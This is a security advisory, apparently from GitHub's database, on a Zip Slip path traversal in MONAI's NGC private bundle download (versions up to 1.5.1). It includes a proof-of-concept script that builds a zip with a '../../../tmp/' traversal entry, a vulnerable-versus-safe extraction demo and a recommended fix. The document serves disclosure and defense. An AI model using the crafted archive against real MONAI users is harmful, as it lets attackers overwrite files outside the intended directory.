MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

Description

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...

    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")

    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

Function File Uses Safe Extraction?
_download_from_github() scripts.py:198 ✅ Yes (via extractall() wrapper)
_download_from_monaihosting() scripts.py:205 ✅ Yes (via extractall() wrapper)
_download_from_bundle_info() scripts.py:215 ✅ Yes (via extractall() wrapper)
_download_from_ngc_private() scripts.py:292 ❌ No (direct z.extractall())

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()

    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )

        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )

    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())

    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)

            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue

            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

  1. Attacker must control or compromise an NGC private repository
  2. Victim must configure MONAI to download from that repository
  3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:
- The permissions of the user running MONAI
- The target location of the escaped files
- Python version (newer versions have some built-in path normalization)

Mitigating Factors

  • Requires attacker to control an NGC private repository
  • Modern Python versions (3.12+) have some built-in path normalization
  • The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...

    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.


Resources

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-01-06 17:32:52 UTC
Updated
2026-01-29 18:23:16 UTC
GitHub reviewed
2026-01-06 17:32:52 UTC
NVD published
2026-01-07

EPSS Score

Score Percentile
0.02% 4.47%

CVSS Scores

Base score Version Severity Vector
5.3 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:H)
Even with access, the exploit needs extra luck, timing, or a fussy environment to actually work.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • yueyueL (reporter)
  • ericspod (analyst)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip monai <= 1.5.1 1.5.2

References

cvelogic Threat Intelligence